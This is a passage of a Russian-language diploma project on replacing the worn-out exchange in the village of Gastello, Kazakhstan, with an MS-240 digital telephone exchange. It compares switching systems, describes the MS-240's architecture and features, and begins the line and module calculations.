Сельская телефонная сеть (СТС) Жаркаинского района построено по радиальному принципу. Функцию центральной станции (ЦС) СТС, а также АТС (автоматическая телефонная станция) городской телефонной сети (ГТС) выполняет современная цифровая многофункциональная система SI-2000 (с 2-го квартала 2007 года). Данная система SI-2000 (фирмы IskraTel — Словения) широко применяется в качестве ЦС, УС (узловая станция), ОС (оконечная станция) СТС, а также РАТС (районная АТС), УВС (узел входящих сообщении), УИС (узел исходящих сообщении), УСП (узел сельско — пригородный) ГТС, УАТС (учрежденческая АТС), средней мощности АМТС (автоматическая междугородная телефонная станция) и т. д. Самое главное достоинство SI-2000, это возможность построения мультисервисной сети. Техническая характеристика и структурная схема системы SI-2000 приведена в конце пояснительной записки [П.А].

На сети Жаркаинского района в качестве оконечных станций используются только станции типа АТСК-50/200 (50/200М) непосредственно установленные в селах принадлежащих данному району. Цифровые АТС пока в оконечных пунктах еще не установлены (идет монтаж ЦАТС в двух населенных пунктах (Тасты-Талды и Валиханово по проекту АО «Казахтелеком»).

В качестве межстанционных линий связи (МСС) в Жаркаинском районе, эксплуатируются кабели типа КСПП, МКСБ, воздушные линий связи (марки БСА), уплотненные с помощью каналообразующего оборудования ИКМ-15, КНК-12, LVK-12-3. В районе на 01.10.2007 год имеются действующие станции с приведенной емкостью, технические характеристики которых описаны в таблице 1 Приложения Б. Схема организации связи Жаркаинского района (СТС) приведена в конце пояснительной записки [П.Б].

В рассматриваемом настоящем проекте в поселке Гастелло эксплуатируется координатная станция АТСК 50/200 на 100 номеров (с 1985 г). Данная станция работает по полной мощности и не позволяет расширять емкость телефонной сети. Территория поселка по сравнению 1985 годом расширена значительно, поэтому можно считать, что окраина полностью не телефонизирована. Плотность телефонных аппаратов на 100 семей (01.10.2007 г.) приведена в таблице 1.1.

Таблица 1.1 — Плотность телефонных аппаратов на 100 семей

Наименование

населенного пункта

Число семей

Количество

квартирных ОТА

Плотность на 100 семей
п. Гастелло

950

100

10

Из-за отсутствия возможности расширения существующей АТС, а также физически и морального износа данной АТС, заявлении населения и организации по установке ТА не удовлетворяются. МСС между с. Гастелло и районным центром давно исчерпали свои возможности. Например, аппаратура КНК-12, из-за отсутствия ремонтной базы к дальнейшей эксплуатации не пригодна (с 1982 г. в эксплуатации). Кабель типа КСПП 1*4*1,2, который выполняет функцию МСС физически изношен, так как последние измерительные работы показывает несоответствие параметров с нормой (свыше 20 лет в эксплуатации) [].

Местная кабельная сеть внутри поселка Гастелло изношена в значительной степени и близки к аварийному износу. Магистральные и абонентские сети выполнены в основном на базе кабелей марки ТППБ, ТПП (проложенных в земле и подвешенных на опорах).

1.2 Краткая сравнительная характеристика коммутационных систем и выбор оптимальной

При проектировании цифровых сетей связи интеграции служб следует учесть, что существуют различные требования к виду связи, услугам, вероятным временным характеристикам. Благодаря широкому внедрению цифровых АТС заметно снизились трудовые затраты на изготовление электронного коммутационного оборудования за счет автоматизации процесса их изготовления и настройки, уменьшились габаритные размеры и повысилась надёжность оборудования за счёт использования элементной базы высокого уровня интеграции. Также уменьшились объёмы работ при монтаже и настройке электронного оборудования в объектах связи, существенно сократился штат обслуживающего персонала за счет полной автоматизации контроля функционирования оборудования и создания необслуживаемых станций. Значительно уменьшились металлоемкость конструкции станций, сократились площади, необходимые для установки цифрового коммутационного оборудования, а также повысилось качество передачи и коммутации. Были введены вспомогательные и дополнительные виды обслуживания абонентов. С внедрением цифровых АТС стало возможным создание на их базе интегрированных сетей связи, которые могли бы позволить обеспечить внедрение различных видов и служб электросвязи на единой методологической и технической основе. Ниже приводятся краткие характеристики распространенных на СТС систем коммутации.

Характеристика системы SI-2000. Система SI-2000 производится фирмой Iskra TEL (Словения), а также совместным предприятием Искра Урал Тел (Екатеринбург). Станции системы SI-2000 обеспечивают все основные телефонные функции (местные, исходящие, входящие и транзитные соединения), а также большое количество дополнительных услуг (абонентская линия с декадным/частотным набором, повторение последнего набранного номера, запрет исходящей/входящей связи, конференцсвязь, определение злонамеренного вызова, перенаправление вызова, вызов абонента по заказу и др.).

Сети связи (особенно местные) большей частью являются все еще аналоговыми, поэтому осуществить быстрый переход на цифровые системы передачи практически невозможно. В телефонных станциях SI-2000 наряду с цифровыми линейными комплектами присутствуют и аналоговые, что позволяет гибко решать вопросы стыковки с аналоговыми соединительными линиями. На базе системы SI-2000 можно организовать надежную связь на всех уровнях от сельской станции до АМТС средней емкости, а также в учрежденческих и ведомственных сетях.

Изделия семейства включают в себя два типа станций: SI-2000/224 — многомодульная АТС; SI-2000/214 — экономичная одномодульная АТС.

Основные характеристики системы SI-2000 приведены в конце пояснительной записки [П.А].

Характеристика станции М-200 (Россия-МТА). М-200-современная, надежная, экономичная и постоянно совершенствуемая цифровая система коммутации с гибкой модульной структурой оборудования и программного обеспечения (ПО). Она предназначена в первую очередь для развития сетей электросвязи сельских административных районов (САР), а также корпоративных сетях. Система может использоваться в сельском административном районе и корпоративных сетях локально, в качестве центральный (ЦС), узловой (УС) или оконечной станции (ОС) местных сетях. Компания МТА была организована в 1995 году группой специалистов в области телекоммуникаций. МТА специализируется на разработке и производстве цифровых систем коммутации и передачи данных под торговой маркой АТС М-200.

В новом поколении АТС М-200 большое внимание уделено развитию мультисервисных характеристик станции, на базе которых реализуются решения, позволяющие комбинировать передачу голоса и данных в одной сети, а также предлагать пользователям дешевую междугородную связь.

«М-200» предназначена для телефонизации сел и районных центров, а также корпоративных сетях, в том числе сетях железнодорожного транспорта, рекомендовал использовать указанные станции в качестве центральных станций (ЦС), узловых (УС), необслуживаемых оконечных станций (НОС), учережденческих телефонных станциях, а также в качестве сельско-пригородных узловых (СПУ). Показатели соотношения качества — цена способствуют наиболее эффективному и экономичному решению задач по телефонизации села. В том числе населенных пунктов, где связь отсутствует полностью. АТС М-200 может согласована работать с другими АТС с помощью РРЛ, ВОЛС, спутниковым системам, а также по обычным медным кабелям.

Структурная схема М-200 и основные технические данные приведены в конце пояснительной записки [П.В].

Характеристика ЦАТС «МС240» (продукция фирм «Karat-telecom» и «Элтекс» Россия). Система имеет модульную структуру и основана на применении коммутации сигналов импульсно-кодовой модуляции (ИКМ). Активные схемы системы (модули) собраны на съемных печатных платах. Модули ЦАТС «МС240» делятся на две основные функциональных группы: общие управляющие устройства и периферийные устройства.

ЦАТС «МС240» обеспечивает: высокое качество цифровой связи; высокая надежность при разумной цене; простота конфигурирования, эксплуатации и ремонта; компактное исполнение. Небольшой вес и низкое энергопотребление. Энергонезависимая память (FLASH). Возможность использования любых телефонных аппаратов, факсов, модемов. Модульная конструкция АТС как на аппаратном, так и на программном уровне. Полное администрирование АТС при помощи удаленного доступа. Поставляемое со станцией ПО центра технической эксплуатации. Наличие системы учета стоимости разговоров. Широкий спектр дополнительных видов обслуживания (ДВО). Круглосуточный, необслуживаемый режим работы. Структурная схема «МС-240» и техническая характеристика приведены в конце пояснительной записки [П.Г].

Сравнивая общие технические характеристики различных систем таких как SI-2000, М-200, МС-240 выбираем оптимальную. Критериями в данном случае является доступная цена, пригодность в сельских сетях, обеспечение современных услуг связи и т. д. Для настоящего дипломного проекта самой экономичной и оптимальной является МС-240 (Россия) Данная система сравнительно недавно начало эксплуатироваться в сельских сетях связи нашей Республики, в том числе Акмолинской области и хорошо зарекомендовала себя.

1.3 Постановка задачи проекта

Данным проектом предлагается реконструкция ОС п. Гастелло Жаркаинского РУТ Акмолинской области.

Основной целью данного проекта являются: удовлетворение спроса на установку абонентского терминала; расширение и укрепление позиций оператора на рынке услуг связи; избежание потери потенциальных потребителей услуг связи; увеличение денежного потока оператора и т.д.

Для достижения реализации данного проекта необходимо: замена морально и физически устаревшей станции АТСК50/200 общей монтированной емкостью 100 номеров (задействованной емкость 100 номеров), на современную ЭАТС емкостью 300 номера с расширением станционной и линейной емкости на 200 номеров, что позволит значительно повысить качество предоставляемых услуг и соответственно увеличить исходящий трафик; переключение существующих абонентов на новую ЭАТС, строительство распределительной сети для новых абонентов.

Актуальность проекта заключается в первую очередь в том, что существующая система связи, эксплуатация которой на протяжении долгих лет оставалась без внимания, не удовлетворяет запросы населения, как в качестве связи, так и в своевременных установках. Планируемая реконструкция ОС создает предпосылки стабильного роста междугородного трафика, предоставления высокоскоростных услуг передачи данных и предоставление в аренду цифровых каналов. В связи с чем, проект реконструкции ОС необходим для устранения всех недостатков работы сети телекоммуникаций, что повлияет на увеличение количества абонентов, принесет оператору стабильный финансовый рост, дополнительно позволит увеличить рынки по предоставлению услуг телекоммуникаций, и соответственно увеличит денежный поток. Следовательно, своевременная замена аналоговой системы связи на электронную АТС и расширение рынка по предоставлению услуг телекоммуникаций обеспечит существенное превосходство в конкурентной борьбе с компаниями, которые в настоящее время предоставляют аналогичные услуги [8].

2 Техническая часть

2.1 Возможности коммуникационной платформы МС-240

2.1.1 Общие положение

ЦАТС «МС-240» является современной коммуникационной платформой с высокими техническими и экономическими показателями, применяется на ВСС России, и том числе в ВСС нашей Республике в качестве оконечной, узловой, центральной АТС, учрежденческо-производственной и гостиничной АТС, коммутатора оперативно-диспетчерской и селекторной связи, узла сетевой служебной связи.

ЦАТС «МС-240» имеет Сертификат RU.C.33.007.A № 25622 об утверждении типа средств измерений (тарификаторов цифровых АТС МС240) и Сертификат № ОС-1-С-0020. Сельская цифровая автоматическая телефонная станция «МС240» (версия ПО V5), технические условия № ТУ 6651-004-33433783-2005. ЦАТС «МС-240» также сертифицирована в Республике Казахстан.

ЦАТС «МС-240» имеет блочно-модульную архитектуру (рисунок 2.1). Один абонентский блок имеет емкость до 384 АК с шагом наращивания 24 абонентских комплекта. Центральный процессор станции позволяет путем подключения абонентских блоков расширения увеличить емкость до 1920 АЛ с нагрузкой 0,5 Эрл и до 28 цифровых потоков Е1 с нагрузкой 1 Эрл.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2.1 — Блочно-модульная архитектура «МС-240»

МС-240 обеспечивает следующие основные виды связи и типы соединений:

— автоматическая внутристанционная связь между всеми абонентами станции;

— автоматическая входящая и исходящая связь с абонентами других станций цифровой телефонной сети, а также с абонентами ведомственных сетей;

— транзитная связь между входящими и исходящими линиями и каналами;

— автоматическая исходящая связь к спецслужбам;

— исходящая и входящая автоматическая и полуавтоматическая зоновая, междугородная и международная связь;

— связь в режиме полупостоянной коммутации;

— связь с Центром технической эксплуатации (ЦТЭ).

В станции реализована технология HDSL, позволяющая совместно передавать речь и данные по существующим физическим линиям. В ближайшее время будет реализована технология ADSL. Для подключения к VoIP сетям выпускается модуль шлюза TM.IP. Модуль устанавливается в абонентский блок станции и занимает одно слото-место. Модуль IP-телефонии дает возможность подключать абонентов IP и создавать корпоративные сети IP-телефонии с единым номерным планом.

2.1.2 Области применения станции МС-240

Центральная АТС. Применяется в качестве центральной АТС, в том числе для телефонизации сельских административных районов (рисунок 2.2).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2.2 — Центральная АТС

Узловая/оконечная АТС. Используется для телефонизации сельских административных районов, применяется в качестве сельско-пригородного узла, узловой и оконечной АТС, коммутационного выноса (рисунок 2.3).

Учрежденческо-производственная АТС. Предназначена для организации сети связи на предприятиях любого масштаба (малого, среднего и крупного бизнеса) до 10 тысяч номеров. УПАТС позволяют строить свои ведомственные сети и иметь распределенные выходы в сети общего пользования (ТфОП). Включение в ТфОП может быть как по аналоговым СЛ, так и по цифровым трактам.

В УПАТС могут включаться системные телефонные аппараты для организации систем диспетчерской, селекторной связи и конференц-связи. Диспетчерская и селекторная связи возможны при использовании системных телефонов моделей DKT-2321, DKT-1110, и подключенных к ним консолей расширения DPEM. Система позволяет организовать до 20 групп конференц-связей и до 20 селекторов. Число участников одной конференц-связи достигает 20 человек. Максимальное количество участников в селекторе достигает 100 человек. Абонентами диспетчерской связи и участниками селекторов могут быть как абоненты станции МС-240 так и абоненты других АТС, включенных по цифровым или аналоговым СЛ.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2.3 — Узловая/оконечная АТС

Включение в IP сеть. В станции МС-240 на базе шлюза TM.IP реализована возможность стыковки с сетями NGN и организации недорогой междугородной и международной телефонной связи с выходом в действующие сети различных операторов IP-телефонии. Шлюз устанавливается в абонентский блок станции и занимает одно слото-место. Модуль IP-телефонии дает возможность подключать абонентов IP и создавать корпоративные сети IP-телефонии (рисунок 2.4).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2.4 — Включение в IP сеть

Создание центров технического обслуживания и эксплуатации. Оконечные/узловые станции серии МС240 ориентированы на централизованное обслуживание, при этом возможно подключение сервисного терминала в местах установки (рисунок 2.5). Аппаратные и программные средства станции позволяют проводить удаленную диагностику ее работы, в том числе диагностику абонентских линий, например, измерение посторонних напряжений на линейных проводах, измерение величины сопротивления изоляции и емкости между проводами, между проводами и землей. При поставке станции возможна комплектация программным обеспечением, позволяющим организовать централизованную систему технической эксплуатации станций района (ЦТЭ).

ПО ЦТЭ позволяет осуществлять следующие функции:

— подготовка конфигураций станций, сохранение их на устройстве хранения данных ЭВМ, запись и чтение конфигураций станций;

— многоуровневый мониторинг сети станций c накоплением и хранением информационных и аварийных данных;

— интерфейс для подключения внешних систем мониторинга;

— оперативное управление станциями, блокирование и разблокирование СЛ и абонентских комплектов;

— диагностирование станционного оборудования, накопление и хранение информационных и аварийных данных;

— тестирование абонентских линий — по запросу оператора или автоматическое (по расписанию), накопление результатов проведенных измерений;

— сбор и экспорт учетной информации о состоявшихся разговорах; прием и обработка сигналов телеметрии от контрольных устройств объектов;

— передача сигналов управления в контрольные устройства объектов. ПО ЦТЭ функционирует на базе персонального компьютера (ПК) в среде ОС Windows 98/2000/XP.

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2.5 — Создание ЦТЭ на базе оборудования МС-240

2.1.3 Дополнительные виды обслуживания

Дополнительные виды обслуживания станции МС-240 приведены ниже:

— передача входящего вызова к другому оконечному абонентскому устройству (переадресация);

— передача вызова в случае занятости абонента;

— передача входящего вызова оператору;

— передача входящего вызова на автоинформатор;

— повторный вызов без набора номера;

— соединение с абонентом по предварительному заказу;

— ввод (замена) или отмена личного кода — пароля;

— запрет некоторых видов исходящей связи;

— запрет исходящей и входящей связи, кроме связи с экстренными службами;

— временный запрет входящей связи;

— передача соединения другому абоненту;

— конференц-связь с последовательным сбором участников;

— установка на ожидание освобождения вызываемого абонента, называемая иногда «ожидание с обратными вызовом»;

— конференц-связь трех абонентов;

— наведение справки во время разговора;

— сокращенный набор абонентских номеров;

— соединение без набора номера (прямой вызов);

— вызов абонента по заказу (автоматическая побудка);

— определение номера вызывающего абонента (улавливание злонамеренного вызова) на АТС;

— уведомление о поступлении нового вызова;

— конференц-связь по списку;

— подключение к занятому абоненту с предупреждением о вмешательстве;

— поисковая сигнализация;

— отмена всех услуг;

— исходящая связь по паролю;

— временное ограничения входящей связи;

— организация групп общих интересов.

Возможна разработка и внедрение в ПО необходимых функций ДВО по согласованию с заказчиком.

2.1.4 Абонентские линии, типы, сигнализация

АТС позволяет использовать следующие типы оконечных абонентских устройств:

— телефонные аппараты с импульсным или частотным набором номера;

— телефонные аппараты с частотным набором номера;

— устройства широкополосного доступа (xDSL);

— устройства передачи данных (модем, факс);

— удаленные абонентские устройства (по протоколам ТДН и АДАСЭ);

— абонентские устройства с цифровым уплотнением;

— спаренные абонентские устройства (с разделением полярности питания абонентского шлейфа);

— таксофоны местной телефонной связи;

— таксофоны междугородной связи;

— универсальные таксофоны местной и междугородной связи;

— телефоны с функцией CallerID;

— абонентские VoIP шлюзы;

— IP телефоны.

Максимальное сопротивление шлейфа аналоговой абонентской линии достигает 3 кОм.

В режиме «повышенная дальность» допускается шлейф до 6 кОм.

2.1.5 Соединительные линии, типы, сигнализация

АТС может работать со следующими типами соединительных линий:

— цифровые соединительные линии со скоростью передачи 2048 кбит/с (ИКМ-30) с протоколами сигнализации типа 1ВСК, 2ВСК (набор декадный, челнок, пакет), PRI(EDSS) и ОКС №7;

— цифровые соединительные линии со скоростью передачи 1024 кбит/с (ИКМ-15);

— цифровые соединительные линии по стыку G.SHDSL со скоростью передачи до 2312 кбит/сек для использования в качестве СЛ или уплотнения абонентской линии;

— аналоговые четырёх/шестипроводные соединительные линии с любыми типами внутриполосной и внеполосной сигнализации (в том числе ТДН, АДАСЭ, ССС);

— аналоговые двухпроводные абонентские линии, для связи с районной АТС;

— IP-сети по протоколам H.323/SIP.

2.1.6 Нумерация

Станция обеспечивает работу на телефонных сетях с открытой нумерацией с индексом выхода и на сетях с закрытой нумерацией. Внутренняя номерная значность станции может гибко конфигурироваться и может достигать 8 знаков.

ЦАТС «МС-240» поддерживает множественный план нумерации, позволяя создавать «виртуальные АТС» в пределах одной станции (услуга Centrex), гибко маршрутизировать транзитные соединения.

2.1.7 Конструкция

Конструкция станции имеет блочно-модульную структуру. Модули станции устанавливаются в общий 19″ блок высотой 6U. В один абонентский блок можно установить до 16 модулей периферии. Модули периферии устанавливаются в соответствии с требуемой номерной емкостью и количеством СЛ. Модульное построение обеспечивает возможность комплектации и конфигурирования станции в соответствии с требованиями потребителя. Подключение оборудования производится через разъемы, расположенные на задней стенке блока.

2.1.8 Электропитание

Электропитание коммутатора потоков осуществляется от сети постоянного тока напряжением 60 В. Каждый его модуль (ЦКП, М16Е1) имеет встроенный источник вторичного электропитания.

Электропитание ЦАТС осуществляется от сети постоянного тока напряжением 24…60 В. Возможно использование сети переменного тока напряжением 220 В, что определяется при заказе. Средняя потребляемая мощность составляет примерно 0.7 Вт на абонента при нагрузке 0,2 Эрл по абонентским линиям.

Возможна комплектация станции устройством электропитания УЭП1-4, предназначенным для питания станции, станционного оборудования и заряда аккумуляторных батарей. УЭП может работать в буфере с резервной аккумуляторной батареей, а также без нее, на любой тип нагрузки. Электропитание УЭП осуществляется от однофазной сети переменного тока с номинальным напряжением 220 В с допустимым отклонением +10/-20 % и частотой 50+2,5/-2,5 Гц.

В состав УЭП входят:

— модули питания (МП) — до 4-х модулей;

— микропроцессорный модуль управления, реализующий контроль параметров УЭП и управление МП;

— несущее шасси с автоматами защиты.

Модуль управления может подключаться к станции «МС240» через интерфейс RS232. Это позволяет осуществлять дистанционный контроль и задание режимов работы УЭП из ЦТЭ. В режиме дистанционного контроля возможно получение информации о наличии входного первичного напряжения 220 В, о напряжении на батарее, токах нагрузки и заряде батареи, выходных токах модулей питания. Возможно дистанционное задание напряжения на батарее и максимального тока заряда батареи. В УЭП имеется защита выходных цепей устройства от коротких замыканий на выходе любого из выпрямителей и на любом выводе для подключения к нагрузке или батарее. Предусмотрено подключение двух линий нагрузки. УЭП комплектуется устройством защиты батарей от глубокого разряда РТБ1-20.

2.1.9 Программное обеспечение

Программное обеспечение (ПО) аппаратуры обеспечивает выполнение следующих функций:

– создание и редактирование конфигурации станции;

– диагностика комплекса в целом;

– диагностика отдельных блоков;

– контроль за аварийным остановом ПО ЦАТС;

– ведение учета повреждений и аварий;

– подготовку информации «помощь» при авариях;

– ведение журнала тестирования абонентских линий;

– возможность работы с несколькими станциями;

– оперативной управление работой станции;

– система разграничения доступа пользователей.

Тип операционной системы: Windows 98/2000/Me/XP. Документацией на ПО является «МС-240. Руководство по эксплуатации: Часть «Программа конфигурирования и мониторинга». В данной части руководства подробно изложены этапы создания конфигурации станции, а также методы опертивного управления и мониторинга состояния.

2.1.10 Параметры надежности

МС-240 позволяет:

— Среднее расчетное время наработки на отказ одного канального комплекта — не менее 40 000 ч. Критерием отказа является невозможность установления одного соединения в течение 10 мин. при исправной работе встречного канального интерфейса.

— Назначенный срок службы — не менее 20 лет.

— Среднее время восстановления рабочего состояния — не более 10 мин. при использовании резервных модулей.

Обеспечивается сохранность внутреннего программного обеспечения при любых видах повреждений, а также автоматическое восстановление рабочего состояния и данных сразу после устранения неисправности.

2.2 Архитектура и модули МС-240

2.2.1 Архитектура

ЦАТС «МС-240» имеет блочно-модульную архитектуру. В состав станции входят:

— БКП – блок коммутатора потоков — для коммутации до 100 потоков Е1.

— БСЛ – блок СЛ — для подключения к БКП аналоговых и цифровых СЛ.

— БАЛ – абонентский блок.

Блок коммутатора потоков используется при построении центральной АТС или крупного опорно-транзитного узла и может иметь в своём составе до 2-х процессоров и 8-ми модулей цифровых соединительных линий М16Е1. Блок коммутатора потоков БКП имеет емкость до 100 потоков Е1 для подключения цифровых СЛ, блоков БСЛ и БАЛ, поддерживает все применяемые на ВСС России типы сигнализаций. Абонентские блоки центральной станции имеют емкость до 384 АК с шагом наращивания 24 абонентских комплекта. Каждый блок подключается к коммутатору от 1 до 4 цифровых СЛ. Максимальная емкость станции зависит от количества СЛ и требуемой пропускной способности по нагрузке каждого абонентского блока и может достигать 10 000 номеров.

При построении АТС малой и средней емкости используется БАЛ, к которому может быть подключено до 4 дополнительных абонентских блоков. Помимо модулей АК в БАЛ могут быть установлены модули аналоговых и цифровых СЛ (Е1, ИКМ-15, DSL). Процессор абонентского блока позволяет обслуживать до 1920 АЛ с нагрузкой 0,5 Эрл, до 28 цифровых потоков Е1 с нагрузкой 1 Эрл.

Блок коммутации потоков. Блок коммутации потоков представляет собой отдельный блок, в который устанавливаются один или два модуля центрального процессора (ЦКП) и до восьми модулей М16Е1. Коммутатор потоков является частью центральной станции, к нему можно подключить до 100 потоков Е1 и оконечные блоки с модулями абонентских комплектов и соединительных линий.

Модуль центрального процессора (ЦКП) включает в свой состав коммутационную матрицу на 4096 точек коммутации, два сигнальных процессора для формирования стандартных сигналов станции, выдачи речевых сообщений и выполнения функций высокоскоростных контроллеров обмена с платами цифровых стыков.

Модуль цифровых СЛ М16Е1 содержит 16 комплектов цифровых линейных интерфейсов Е1. Каждый модуль М16Е1 имеет выделенный канал связи с каждым из установленных в коммутатор процессоров. Канал связи с центральным процессором построен на технологии LVDS. В каждом канале связи проходят 512 каналов по 64 кбит/с для пропускания голосового трафика и отдельная линия межпроцессорного обмена. Количество разговорных каналов позволяет говорить о нагрузочной способности до 1 Эрланга на цифровую СЛ.

Блок абонентских линий. Модуль центрального процессора имеет три асинхронных последовательных порта — для связи с программой конфигурирования и мониторинга (непосредственно или с использованием модема), для подключения блока телеметрии и контроллера УЭП. На модуле процессора также расположен порт Ethernet с поддержкой стандартного стека протоколов TCP/IP. Порт может использоваться для управления, конфигурирования и контроля системы.

Для хранения данных в процессоре применен накопитель Compact Flash. Он предназначен для хранения резервных файлов конфигурации, дополнительных файлов фраз для речевой подсистемы и хранения информации о состоявшихся разговорах и системных журналов аварий и событий. Объем хранимой информации практически неограничен.

Модуль абонентских комплектов 24АК выполнен на основе интегрированного комплекта микросхем фирмы Infineon. Это позволило создать надежный модуль с оптимальным соотношением цена/качество, реализующий помимо стандартных функций аналоговых окончаний встроенные функции самодиагностики и измерения параметров абонентских линий, а так же прием DTMF по каждой линии, генерацию CallerID/АОН, формирование повышенного напряжения и переполюсовку линии для таксофонов.

Защита комплектов реализована на основе рекомендаций и элементной базы фирм Infineon и SGS-THOMSON Microelectronics и реально обеспечивает выполнение требований по устойчивости к воздействию перенапряжений и избыточных токов согласно рекомендации К.20 МККТТ и «Общих технических требований к сельским АТС». При этом на кроссе станции устанавливается только защита по перенапряжению (разрядники).

Субмодуль телеметрии МТС, которым комплектуется каждый блок станции, позволяет осуществлять дистанционный контроль параметров окружения станции. Модуль не занимает стандартного слота периферии. Информация, формируемая данным модулем, программно доступна со стороны процессора блока и ПО ЦТЭ и позволяет выполнять следующие функции:

— контроль состояния охранной, пожарной и др. сигнализаций — до 8 точек;

— выдача сигналов управления внешним оборудованием — (сухие контакты реле — 4 пары);

— контроль параметров окружающей среды (температура, влажность).

2.2.2 Модули системы МС-240

На МС-240 рассмотрены следующие типы модулей: базовые модули, абонентские модули, модули соединительных линий, дополнительные модули. Составы этих модулей даны в конце пояснительной записки [П.Д].

Модули абонентских комплектов. Модули абонентских комплектов выполнены на базе новой разработки фирмы Infineon — комплекте микросхем DuSLIC. Данный набор микросхем позволяет реализовать дополнительные возможности по сравнению со стандартной дискретной схемой абонентского комплекта.

В частности это:

— встроенное тестирование параметров линии и абонентских комплектов без применения дополнительного оборудования;

— измерение посторонних напряжений на линейных проводах, измерение величины сопротивления — изоляции и емкости между проводами и между проводами и землей;

— встроенное тестирование комплектов;

— формирование индукторного вызова;

— эффективная схема защиты программного изменения режимов работы абонентских комплектов.

В станции МС-240 реализована возможность выбора оптимального режима работы абонентского комплекта:

— нормальный режим — питание на линии -48В, применяется в большинстве случаев. Сопротивление абонентского шлейфа (вместе с ТА) — до 3 кОм;

— режим пониженного потребления — питание на линии — 24В, применяется для подключения близко расположенных абонентов. Сопротивление абонентского шлейфа — до 1,5 кОм;

— режим повышенной дальности — питание на линии 90В, применяется для подключения удалённых абонентов. Сопротивление абонентского шлейфа — до 6 кОм.

Модуль абонентских линий 8АЛ. Модуль абонентских линий 8АЛ предназначен для организации исходящей и входящей связи по абонентским линиям АТС с сигнализацией со стороны АТС индукторным вызовом, а в сторону АТС — замыканием шлейфа. Конструктивно выполнен как отдельный блок (рисунок 2.6).

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2.6 — Модуль абонентских линий 8АЛ

Какие возможности обеспечивает комплект АЛ показаны в конце пояснительной записки [П.Д].

Модуль цифровых стыков 2Е1. Модуль цифровых стыков 2Е1 предназначен для подключения цифровых потоков Е1 по стыку G.703 со скоростью 2048 кбит/с (рисунок 2.7). Модуль обеспечивает непосредственную поддержку семейства протоколов 2ВСК, применяемых на общегосударственной и ведомственных сетях связи России и стран СНГ:

— протокол исходящей СЛ (местной и междугородной);

— протокол входящей СЛ (местной и междугородной).

Используются следующие способы приёма и передачи набора номера:

— декадный набор;

— «импульсный челнок»;

— «импульсный пакет 1»;

— «импульсный пакет 2».

Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Рисунок 2.6 — Исполнение модуля цифровых стыков 2Е1

Обеспечивается приём и выдача информации АОН в коде «2 из 6» безынтервальным пакетом на любом этапе установления соединения, а также при установленном соединении (с кратковременным переходом в предответное состояние).

Кроме того, поддерживается протокол E&M, ставший стандартом дефакто на импортных УАТС. Для согласования с конкретной реализацией протокола, положение бита сигнализации и его полярность программируется. Набор номера может осуществляться декадным способом или тональным (DTMF). Для организации выноса (транзита) абонентского номера по потоку Е1 и доступа к удалённой АТС (режим удалённого мультиплексора), поддерживаются протоколы FXS (удалённый абонент) и FXO (удалённая АТС). Если требуется обеспечить доступ к селективным (служебным) каналам ТЧ, до которых есть цифровой тракт, введена поддержка внутриполосной сигнализации, в том числе протокола ССС и ССС-2.

Модуль обеспечивает выделение из входящих потоков тактовой частоты и выдачу в магистраль станции в сторону ЦП сигнала синхронизации для работы коммутатора в ведомом режиме от вышестоящей станции. На центральном процессоре при этом устанавливается субмодуль синхронизации. Число входов для синхросигнала и, соответственно, число потоков, от которых может браться синхронизация, -2.

Модуль обеспечивает работу в синхронном режиме при синхронизации центрального процессора станции от внешней ИКМ линии, или внешней станции от ИКМ линии платы, либо работу в плезиохронном режиме (с проскальзыванием по циклу).

Модуль состоит из двух комплектов Е1. Возможно включение транзита произвольного канального интервала на один из аналоговых (цифровых) комплектов станции, тем самым обеспечивается функция гибкого мультиплексирования. При транзите канала(ов) с одного потока на другой в пределах одного модуля имеется возможность организации одинаковой временной задержки всех транзитных каналов, что требуется для функции вставки-выделения каналов. В данном режиме можно также организовать транзитный групповой канал, то есть использовать функцию переходного устройства.

3 Рабочая документация

3.1 Расчет качественных показателей телефонной сети

3.1.1 Общие положения

Цифровая коммутационная система МС-240 может применятся во всех случаях: от ОС до АМТС средней емкости общегосударственных телефонных сетей, а так же на ведомственных в качестве УАТС, но наибольший интерес представляет применение станции на сельских телефонных сетях.

Это связано с большой разбросанностью и относительной малочисленностью абонентов СТС, что приводит к большим затратам на абонентские и соединительные линии.

В настоящем дипломном проекте необходимо учитывать следующие исходные данные:

1. Назначение АТС: оконечная станция типа МС-240.

1.1 Общее количество абонентов включенных в АТС: N= 500

1.2 Количество универсальных таксофонов: 2 %.

1.3 Количество кабин переговорных пунктов: 2 %.

2. Сведения о существующей сети приведена ниже в виде таблицы 3.1.

Таблица 3.1 – Сведения о существующей сети

Номер АТС

Тип АТС

Емкость АТС,

номеров

Расстояние, км

Тип СП

Примечание
ОС

МС-240

500

23

КНК-12

ЦС

SI-2000

2500

23

КНК-12

на другие АТС (ОС, УС) через ЦС
CТС

1350

Итого

3850

3. Данные по телефонной нагрузке: согласно ВНТП1 12-98.

3.1.2 Разработка структурной схемы ОС

Число модулей для подключения абонентских линии (абонентские модули) определяется монтированной емкостью станции. Найдем общее число линий, включенных в абонентские модули:

N = Na + NHX + NK +NT + Npnn (3.1)

где Na — число абонентов административного сектора (10%); nhx — число абонентов народно — хозяйственного сектора (32%); NK — число абонентов квартирного сектора (54%); NT — число универсальных таксофонов (2%); Npnn — число линий от кабин переговорных пунктов (2%) (данные из статистики). Для наглядности приведем в виде таблицы 3.2.

Таблица 3.2 — Числа абонентов различной категории

Категории

Na

nhx

NK

NT

Npnn
Количество, портов

50

160

270

10

10

Определим количество AМ (по технической характеристике МС-240 в один модуль абонентских комплектов можно подключить 16 абонентов):

S16ак=En[N-1/16+1] (3.2)

S16ак= En[500-1/16+1] = 33

3.1.3 Распределение источников нагрузки проектируемой ОС по модулям 16АК

Источники нагрузки по возможности должны равномерно распределятся между модулями. Расчет сводим в таблицу 3.3.

Таблица 3.3 — Распределение источников нагрузки в модулях 16АК

Номер

модуля

Na

nhx

Nкв

Nтсф

Nкаб

Nобщ

Количество точек включенных в один модуль

